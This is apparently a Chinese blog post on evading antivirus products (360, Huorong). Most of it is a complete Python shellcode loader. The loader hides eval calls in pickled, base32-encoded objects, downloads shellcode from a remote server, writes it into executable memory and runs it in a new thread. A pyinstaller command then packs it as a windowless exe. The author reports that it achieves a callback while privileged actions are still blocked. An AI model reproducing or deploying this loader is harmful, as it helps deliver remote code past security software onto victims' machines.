前言
最近一直在研究免杀,慢慢的发现上线不难,过360,火绒不难,难得是添加用户,任何涉及到系统的操作,都会被360拦截下来。
正文
刚开始研究免杀时,是通过溢出来操作的,但是这样子有个坏处,就是地址不好处理,每个系统的地址都不同,如果使用静态变量来存放shellcode,就会被杀毒软件检查出来,后面尝试过万能地址啊,PE添加新字段等等都无济于事,最后只能从加载器下手了,即使查杀效果确实不错。


在网上搜索看了一看各种语言的加载器,最后选择了Python的。
Python免杀
生成加载器的源码是网上复制的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| import ctypes,cPickle,base64,urllib2
class test1(object): def __reduce__(self): return(eval,("urllib2.urlopen('http://192.168.227.128').read().decode('base64')",))
class test2(object): def __init__(self, shellcode): self.shellcode = shellcode def __reduce__(self): return(eval,("ctypes.windll.kernel32.VirtualAlloc(0,len(shellcode),0x1000,0x40)",))
class test3(object): def __init__(self, rwxpage, shellcode): self.rwxpage = rwxpage self.shellcode = shellcode def __reduce__(self): return(eval,("ctypes.windll.kernel32.RtlMoveMemory(rwxpage,ctypes.create_string_buffer(shellcode),len(shellcode))",)) class test4(object): def __init__(self, rwxpage): self.rwxpage = rwxpage def __reduce__(self): return(eval,("ctypes.windll.kernel32.CreateThread(0,0,rwxpage,0,0,0)",)) class test5(object): def __init__(self, handle): self.handle = handle def __reduce__(self): return(eval,("ctypes.windll.kernel32.WaitForSingleObject(handle,-1)",)) if __name__ == '__main__':
raw_shellcode = test1() ser_shellcode = cPickle.dumps(raw_shellcode) enb32_shellcode = base64.b32encode(ser_shellcode) shellcode = cPickle.loads(base64.b32decode(enb32_shellcode))
raw_vir = test2(shellcode) ser_vir = cPickle.dumps(raw_vir) enb32_vir = base64.b32encode(ser_vir) rwxpage = cPickle.loads(base64.b32decode(enb32_vir))
raw_rtl = test3(rwxpage, shellcode) ser_rtl = cPickle.dumps(raw_rtl) enb32_rtl = base64.b32encode(ser_rtl)
raw_handle=test4(rwxpage) ser_handle = cPickle.dumps(raw_handle) enb32_handle = base64.b32encode(ser_handle) handle = cPickle.loads(base64.b32decode(enb32_handle))
raw_run = test5(handle) ser_run = cPickle.dumps(raw_run) enb32_run = base64.b32encode(ser_run)
output = '''import ctypes,cPickle,base64,urllib2
e_shellcode = "{}" shellcode = cPickle.loads(base64.b32decode(e_shellcode))
e_rwxpage="{}" rwxpage = cPickle.loads(base64.b32decode(e_rwxpage))
e_code = "{}" cPickle.loads(base64.b32decode(e_code))
e_handle = "{}" handle = cPickle.loads(base64.b32decode(e_handle))
e_run = "{}" cPickle.loads(base64.b32decode(e_run))'''.format(enb32_shellcode, enb32_vir, enb32_rtl, enb32_handle, enb32_run) with open('Loader.py','w') as f: f.write(output) f.close()
|
这里有几点需要注意的
1.是通过urlopen
读取的地址,就是从服务器获取的文本
1 2 3
| class test1(object): def __reduce__(self): return(eval,("urllib2.urlopen('服务器ip').read().decode('base64')",))
|
2.可能是shellcode
差异或者base64
加密方式的不同,如果用base64
的方法来解密shellcode
的话,程序会报错,如果没有报错,也运行不了,或者运行了没反应。
1 2 3
| class test1(object): def __reduce__(self): return(eval,("urllib2.urlopen('服务器ip').read().decode('hex')",))
|
所以我这里的shellcode
是用hex加密过的,使用K8飞刀的工具直接加密的


运行会生成一个Loader.py
,然后使用pyinstaller
将其打包为exe
文件
1
| pyinstaller --noconsole --onefile Loader.py
|
用加载器生成的exe
虽然能上线,但是杀毒效果明显没那么好



当要添加用户时,也是会照常拦截

结尾
无论是写入自启动还是添加用户,都会被拦截,想过可能是360是system
权限,而文件只是普通用户,就被拦截。尝试过提权,提升到system
权限,但是发现很困难,还得在研究研究。